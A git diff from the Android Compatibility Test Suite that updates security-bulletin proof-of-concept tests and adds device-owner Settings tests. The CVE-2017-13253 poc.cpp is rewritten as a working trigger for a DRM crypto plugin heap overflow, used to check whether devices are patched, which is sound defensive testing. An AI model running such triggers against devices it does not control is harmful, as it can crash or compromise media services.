diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
index af352aa..b31a788 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2460/Android.bp
@@ -23,7 +23,6 @@
"libutils",
"liblog",
"libmedia",
- "libsoundtrigger",
"libgui",
],
ldflags: [
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
index 7b67095..1e55834 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
@@ -80,7 +80,7 @@
sp<MemoryDealer> dealerIn = new MemoryDealer(inSize);
IOMX::buffer_id inBufferId = 0;
memory = dealerIn->allocate(inSize);
- if (memory.get() == nullptr || memory->pointer() == nullptr) {
+ if (memory.get() == nullptr || memory->unsecurePointer() == nullptr) {
ALOGE("memory allocate failed for port index 0, err: %d", err);
mOMXNode->freeNode();
client.disconnect();
@@ -93,7 +93,7 @@
*/
OMXBuffer omxInBuf(memory);
- memset(memory->pointer(), 0xCF, inSize);
+ memset(memory->unsecurePointer(), 0xCF, inSize);
err = mOMXNode->useBuffer(0, omxInBuf, &inBufferId);
ALOGI("useBuffer, port index 0, err: %d", err);
@@ -106,7 +106,7 @@
sp<MemoryDealer> dealerOut = new MemoryDealer(outSize);
IOMX::buffer_id outBufferId = 0;
memory = dealerOut->allocate(outSize);
- if (memory.get() == nullptr || memory->pointer() == nullptr) {
+ if (memory.get() == nullptr || memory->unsecurePointer() == nullptr) {
ALOGE("memory allocate failed for port index 1, err: %d", err);
mOMXNode->freeNode();
client.disconnect();
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
index e811dd3..2604551 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/Android.bp
@@ -22,5 +22,6 @@
"libbinder",
"libandroid",
"libaudioclient",
+ "libaudiofoundation",
],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
index 3fc6329..0c64210 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0479/poc.cpp
@@ -75,10 +75,11 @@
gEffect = NULL;
pthread_t pt;
const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
+ AudioDeviceTypeAddr device;
for (i=0; i<100; i++) {
gEffect = audioFlinger->createEffect(&descriptor, effectClient, priority,
- io, sessionId, opPackageName, getpid(),
+ io, sessionId, device, opPackageName, getpid(),
&err, &id, &enabled);
if (gEffect == NULL || err != NO_ERROR) {
return -1;
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
index aaa2fa5..5a8d964 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2018 The Android Open Source Project
+// Copyright (C) 2019 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -16,14 +16,24 @@
name: "CVE-2017-13253",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
srcs: ["poc.cpp"],
+
header_libs: ["libmediadrm_headers"],
+
shared_libs: [
- "libmedia",
- "libutils",
+ "android.hardware.drm@1.2",
"libbinder",
+ "libhidlallocatorutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "liblog",
+ "libmedia",
"libmediadrm",
+ "libutils",
],
+
cflags: [
+ "-Wall",
+ "-Werror",
"-Wno-unused-parameter",
"-Wno-unused-variable",
],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/poc.cpp
index e7f0868..1220dfc 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13253/poc.cpp
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -13,72 +13,100 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
-#include <binder/IMemory.h>
-#include <binder/IServiceManager.h>
-#include <binder/MemoryBase.h>
-#include <binder/MemoryHeapBase.h>
-#include <media/hardware/CryptoAPI.h>
-#include <mediadrm/ICrypto.h>
-#include <mediadrm/IMediaDrmService.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <utils/StrongPointer.h>
-#include <stdio.h>
+#include <android/hardware/drm/1.0/ICryptoFactory.h>
+#include <android/hardware/drm/1.0/ICryptoPlugin.h>
+#include <android/hardware/drm/1.0/types.h>
+#include <android/hardware/drm/1.2/ICryptoPlugin.h>
+#include <android/hardware/drm/1.2/types.h>
+#include <binder/IMemory.h>
+#include <binder/MemoryDealer.h>
+#include <hidl/HidlSupport.h>
+#include <hidlmemory/FrameworkUtils.h>
+#include <mediadrm/DrmUtils.h>
#include <unistd.h>
+#include <cstdint>
+#include <cstdio>
+#include <vector>
+
+#include "../includes/common.h"
+
using namespace android;
+using namespace ::android::hardware::drm;
+using ::android::IMemoryHeap;
+using ::android::MemoryDealer;
+using ::android::sp;
+using ::android::hardware::fromHeap;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::HidlMemory;
+using ::android::hardware::drm::V1_0::BufferType;
+using ::android::hardware::drm::V1_0::DestinationBuffer;
+using ::android::hardware::drm::V1_0::ICryptoFactory;
+using ::android::hardware::drm::V1_0::ICryptoPlugin;
+using ::android::hardware::drm::V1_0::Mode;
+using ::android::hardware::drm::V1_0::Pattern;
+using ::android::hardware::drm::V1_0::SharedBuffer;
+using ::android::hardware::drm::V1_0::Status;
+using ::android::hardware::drm::V1_0::SubSample;
-int main()
-{
- sp<IServiceManager> sm = defaultServiceManager();
- sp<IBinder> binder = sm->getService(String16("media.drm"));
- sp<IMediaDrmService> service = interface_cast<IMediaDrmService>(binder);
- if (service == NULL) {
- printf("Failed to retrieve 'media.drm' service.\n");
- return 1;
+namespace {
+
+uint32_t kHeapSize = 0x2000;
+
+void setHeapBase(const sp<ICryptoPlugin> &plugin) {
+ sp<MemoryDealer> memoryDealer = new MemoryDealer(kHeapSize);
+ sp<IMemoryHeap> memoryHeap = memoryDealer->getMemoryHeap();
+ memset(memoryHeap->getBase(), 'A', kHeapSize);
+ sp<HidlMemory> hidlMemory = fromHeap(memoryHeap);
+ plugin->setSharedBufferBase(*hidlMemory, 0);
+ return;
+}
+
+template <typename Status_, typename Plugin, typename Decrypt>
+void decrypt(Plugin *plugin, Decrypt decrypt) {
+ Pattern hPattern{.encryptBlocks = 0, .skipBlocks = 1};
+ SharedBuffer hSource{.bufferId = 0, .offset = 0, .size = kHeapSize};
+ hidl_vec<SubSample> subSamples{
+ {.numBytesOfClearData = kHeapSize, .numBytesOfEncryptedData = 0}};
+ DestinationBuffer hDestination{
+ .type = BufferType::SHARED_MEMORY,
+ .nonsecureMemory = {.bufferId = 0, .offset = kHeapSize - 1, .size = 1}};
+
+ (plugin->*decrypt)(
+ false, {}, {}, Mode::UNENCRYPTED, hPattern, subSamples, hSource, 0,
+ hDestination, [&](Status_ err, uint32_t, hidl_string msg) {
+ if (err != static_cast<Status_>(V1_0::Status::BAD_VALUE) &&
+ err != static_cast<Status_>(V1_0::Status::ERROR_DRM_UNKNOWN) &&
+ err !=
+ static_cast<Status_>(V1_2::Status::ERROR_DRM_FRAME_TOO_LARGE)) {
+ ALOGE("OVERFLOW DETECTED %d %s\n", err, msg.c_str());
+ }
+ });
+}
+
+} // namespace
+
+static void handler(int) {
+ ALOGI("Good, the test condition has been triggered");
+ exit(EXIT_VULNERABLE);
+}
+
+int main() {
+ const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+ 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+
+ signal(SIGABRT, handler);
+
+ for (const auto &plugin : DrmUtils::MakeCryptoPlugins(uuid, nullptr, 0)) {
+ setHeapBase(plugin);
+ decrypt<V1_0::Status>(plugin.get(), &V1_0::ICryptoPlugin::decrypt);
+ sp<V1_2::ICryptoPlugin> plugin_1_2 = V1_2::ICryptoPlugin::castFrom(plugin);
+ if (plugin_1_2.get()) {
+ decrypt<V1_2::Status>(plugin_1_2.get(),
+ &V1_2::ICryptoPlugin::decrypt_1_2);
+ }
}
- sp<ICrypto> crypto = service->makeCrypto();
- if (crypto == NULL) {
- printf("makeCrypto failed.\n");
- return 1;
- }
-
- const uint8_t clearkey_uuid[16] = {
- 0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2, 0x4D, 0x02,
- 0xAC, 0xE3, 0x3C, 0x1E, 0x52, 0xE2, 0xFB, 0x4B
- };
- if (crypto->createPlugin(clearkey_uuid, NULL, 0) != OK) {
- printf("createPlugin failed.\n");
- return 1;
- }
-
- sp<MemoryHeapBase> heap = new MemoryHeapBase(0x2000);
- memset(heap->getBase(), 'A', 0x2000);
- sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, 0x2000);
- sp<MemoryBase> destMemory = new MemoryBase(heap, 0x1fff, 1);
- int heapSeqNum = crypto->setHeap(heap);
- if (heapSeqNum < 0) {
- printf("setHeap failed.\n");
- return 1;
- }
-
- CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
- ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
- .mHeapSeqNum = heapSeqNum };
- CryptoPlugin::SubSample subSamples[1] = { { .mNumBytesOfClearData = 0x2000,
- .mNumBytesOfEncryptedData = 0 } };
- ICrypto::DestinationBuffer destination = {
- .mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL, .mSharedMemory = destMemory
- };
-
- int val = crypto->decrypt(NULL, NULL,
- CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples, 1,
- destination, NULL);
-
- if (val != BAD_VALUE) {
- printf("OVERFLOW DETECTED\n");
- }
-
return 0;
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
deleted file mode 100644
index 4a638a9..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/**
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-public class Poc16_02 extends SecurityTestCase {
- /**
- * b/25800375
- */
- @SecurityTest(minPatchLevel = "2016-02")
- public void testPocCVE_2016_0811() throws Exception {
- AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 4bf7b80..f916d7e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -21,11 +21,10 @@
public class Poc18_03 extends SecurityTestCase {
/**
- * b/71389378
+ * CVE-2017-13253
*/
@SecurityTest(minPatchLevel = "2018-03")
public void testPocCVE_2017_13253() throws Exception {
- String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
- assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-13253", getDevice(), 300);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
new file mode 100644
index 0000000..77400a7
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_07.java
@@ -0,0 +1,42 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc19_07 extends SecurityTestCase {
+ /**
+ * Bug-137282168
+ */
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testPocBug_137282168() throws Exception {
+ assertFalse("Heap buffer overflow encountered",
+ AdbUtils.runPocCheckExitCode("Bug-137282168", getDevice(), 300));
+ }
+
+ /**
+ * Bug-137878930
+ */
+ @SecurityTest(minPatchLevel = "2019-07")
+ public void testPocBug_137878930() throws Exception {
+ assertFalse("Heap use after free encountered",
+ AdbUtils.runPocCheckExitCode("Bug-137878930", getDevice(), 300));
+ }
+}
diff --git a/hostsidetests/settings/Android.bp b/hostsidetests/settings/Android.bp
new file mode 100644
index 0000000..2355982
--- /dev/null
+++ b/hostsidetests/settings/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+ name: "CtsSettingsHostTestCases",
+ defaults: ["cts_defaults"],
+ srcs: ["src/**/*.java"],
+ libs: [
+ "tools-common-prebuilt",
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ "guava",
+ "truth-prebuilt",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "general-tests",
+ "vts",
+ ],
+}
diff --git a/hostsidetests/settings/AndroidTest.xml b/hostsidetests/settings/AndroidTest.xml
new file mode 100644
index 0000000..6999d4d
--- /dev/null
+++ b/hostsidetests/settings/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Settings host test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
+ here are not applicable -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <!-- Not testing features backed by native code, so only need to run against one ABI -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+ <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+ <option name="jar" value="CtsSettingsHostTestCases.jar" />
+ </test>
+</configuration>
diff --git a/hostsidetests/settings/OWNERS b/hostsidetests/settings/OWNERS
new file mode 100644
index 0000000..12341eb
--- /dev/null
+++ b/hostsidetests/settings/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 100560
+include /tests/admin/OWNERS
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/Android.bp b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
new file mode 100644
index 0000000..72e16bd
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/Android.bp
@@ -0,0 +1,44 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsSettingsDeviceOwnerApp",
+ defaults: ["cts_defaults"],
+ platform_apis: true,
+ srcs: [
+ "src/**/*.java",
+ "src/**/I*.aidl",
+ ],
+ aidl: {
+ local_include_dirs: ["src"],
+ },
+ libs: [
+ "android.test.runner.stubs",
+ "junit",
+ "android.test.base.stubs",
+ ],
+ static_libs: [
+ "compatibility-device-util-axt",
+ "androidx.test.rules",
+ "ub-uiautomator",
+ "truth-prebuilt",
+ ],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml b/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
new file mode 100644
index 0000000..b70c972
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/AndroidManifest.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.google.android.cts.deviceowner" >
+
+ <application
+ android:label="Privacy Settings for Device Owner CTS host side app"
+ android:testOnly="true">
+
+ <uses-library android:name="android.test.runner" />
+
+ <activity
+ android:name="com.google.android.cts.deviceowner.WorkPolicyInfoActivity"
+ android:exported="true"
+ android:launchMode="singleTask">
+ <intent-filter>
+ <category android:name="android.intent.category.DEFAULT"/>
+ <action android:name="android.settings.SHOW_WORK_POLICY_INFO"/>
+ </intent-filter>
+ </activity>
+
+ <receiver
+ android:name="com.google.android.cts.deviceowner.DeviceOwnerTest$BasicAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.google.android.cts.deviceowner"
+ android:label="Privacy Settings for Device Owner CTS tests"/>
+</manifest>
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/res/xml/device_admin.xml b/hostsidetests/settings/app/DeviceOwnerApp/res/xml/device_admin.xml
new file mode 100644
index 0000000..49230ea
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/res/xml/device_admin.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:visible="false">
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java
new file mode 100644
index 0000000..0e367ad
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/ClearDeviceOwnerTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.android.cts.deviceowner;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.test.AndroidTestCase;
+
+/** Utility test to clear the device owner and active admin. */
+public class ClearDeviceOwnerTest extends AndroidTestCase {
+
+ private DevicePolicyManager mDevicePolicyManager;
+
+ @Override
+ protected void tearDown() throws Exception {
+ mDevicePolicyManager =
+ (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+ if (mDevicePolicyManager != null) {
+ if (mDevicePolicyManager.isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME)) {
+ mDevicePolicyManager.clearDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME);
+ }
+ waitUntilActiveAdminIsRemoved(DeviceOwnerTest.RECEIVER_COMPONENT);
+ assertFalse(mDevicePolicyManager.isDeviceOwnerApp(DeviceOwnerTest.PACKAGE_NAME));
+ // Ignoring the fact that it might still be an active admin, as removing the admin
+ // is flakey on old devices.
+ assertFalse(mDevicePolicyManager.isAdminActive(DeviceOwnerTest.RECEIVER_COMPONENT));
+ }
+
+ super.tearDown();
+ }
+
+ /**
+ * This test clears the device owner and active admin on tearDown(). To be called from the host
+ * side test once a test case is finished.
+ */
+ public void testClearDeviceOwner() {}
+
+ private void waitUntilActiveAdminIsRemoved(ComponentName cn) throws InterruptedException {
+ for (int i = 0; i < 1000 && mDevicePolicyManager.isAdminActive(cn); i++) {
+ Thread.sleep(100);
+ }
+ }
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
new file mode 100644
index 0000000..842d83a
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.android.cts.deviceowner;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.RemoteException;
+import android.provider.Settings;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.test.InstrumentationTestCase;
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * Class for device-owner based tests.
+ *
+ * <p>This class handles making sure that the test is the device owner and that it has an active
+ * admin registered if necessary. The admin component can be accessed through {@link #getWho()}.
+ */
+public class DeviceOwnerTest extends InstrumentationTestCase {
+
+ public static final int TIMEOUT = 2000;
+
+ protected Context mContext;
+ protected UiDevice mDevice;
+
+ /** Device Admin receiver for DO. */
+ public static class BasicAdminReceiver extends DeviceAdminReceiver {
+ /* empty */
+ }
+
+ static final String PACKAGE_NAME = DeviceOwnerTest.class.getPackage().getName();
+ static final ComponentName RECEIVER_COMPONENT =
+ new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName());
+
+ protected DevicePolicyManager mDevicePolicyManager;
+ protected PackageManager mPackageManager;
+ protected boolean mIsDeviceOwner;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mContext = getInstrumentation().getContext();
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ mPackageManager = mContext.getPackageManager();
+ mDevicePolicyManager =
+ (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+
+ mIsDeviceOwner = mDevicePolicyManager.isDeviceOwnerApp(PACKAGE_NAME);
+ if (mIsDeviceOwner) {
+ assertTrue(mDevicePolicyManager.isAdminActive(RECEIVER_COMPONENT));
+
+ // Note DPM.getDeviceOwner() now always returns null on non-DO users as of NYC.
+ assertEquals(PACKAGE_NAME, mDevicePolicyManager.getDeviceOwner());
+ }
+
+ try {
+ mDevice.setOrientationNatural();
+ } catch (RemoteException e) {
+ throw new RuntimeException("failed to freeze device orientation", e);
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ mDevice.pressBack();
+ mDevice.pressHome();
+ mDevice.waitForIdle(TIMEOUT); // give UI time to finish animating
+ }
+
+ private boolean launchPrivacyAndCheckWorkPolicyInfo() throws Exception {
+ // Launch Settings
+ launchSettingsPage(InstrumentationRegistry.getContext(), Settings.ACTION_PRIVACY_SETTINGS);
+
+ // Wait for loading permission usage data.
+ mDevice.waitForIdle(TIMEOUT);
+
+ return (null != mDevice.wait(Until.findObject(By.text("Your work policy info")), TIMEOUT));
+ }
+
+ private void launchSettingsPage(Context ctx, String pageName) throws Exception {
+ Intent intent = new Intent(pageName);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ ctx.startActivity(intent);
+ Thread.sleep(TIMEOUT * 2);
+ }
+
+ private void disableWorkPolicyInfoActivity() {
+ mContext.getPackageManager()
+ .setComponentEnabledSetting(
+ new ComponentName(mContext, WorkPolicyInfoActivity.class),
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+ }
+
+ /**
+ * If the app is the active device owner and has work policy info, then we should have a Privacy
+ * entry for it.
+ */
+ public void testDeviceOwnerWithInfo() throws Exception {
+ assertTrue(mIsDeviceOwner);
+ assertTrue(
+ "Couldn't find work policy info settings entry",
+ launchPrivacyAndCheckWorkPolicyInfo());
+ }
+
+ /**
+ * If the app is the active device owner, but doesn't have work policy info, then we shouldn't
+ * have a Privacy entry for it.
+ */
+ public void testDeviceOwnerWithoutInfo() throws Exception {
+ assertTrue(mIsDeviceOwner);
+ disableWorkPolicyInfoActivity();
+ assertFalse(
+ "Work policy info settings entry shouldn't be present",
+ launchPrivacyAndCheckWorkPolicyInfo());
+ }
+
+ /**
+ * If the app is NOT the active device owner, then we should not have a Privacy entry for work
+ * policy info.
+ */
+ public void testNonDeviceOwnerWithInfo() throws Exception {
+ assertFalse(mIsDeviceOwner);
+ assertFalse(
+ "Work policy info settings entry shouldn't be present",
+ launchPrivacyAndCheckWorkPolicyInfo());
+ }
+
+ /**
+ * If the app is NOT the active device owner, and doesn't have work policy info, then we should
+ * not have a Privacy entry for work policy info.
+ */
+ public void testNonDeviceOwnerWithoutInfo() throws Exception {
+ assertFalse(mIsDeviceOwner);
+ disableWorkPolicyInfoActivity();
+ assertFalse(
+ "Work policy info settings entry shouldn't be present",
+ launchPrivacyAndCheckWorkPolicyInfo());
+ }
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/WorkPolicyInfoActivity.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/WorkPolicyInfoActivity.java
new file mode 100644
index 0000000..2e7052f
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/WorkPolicyInfoActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
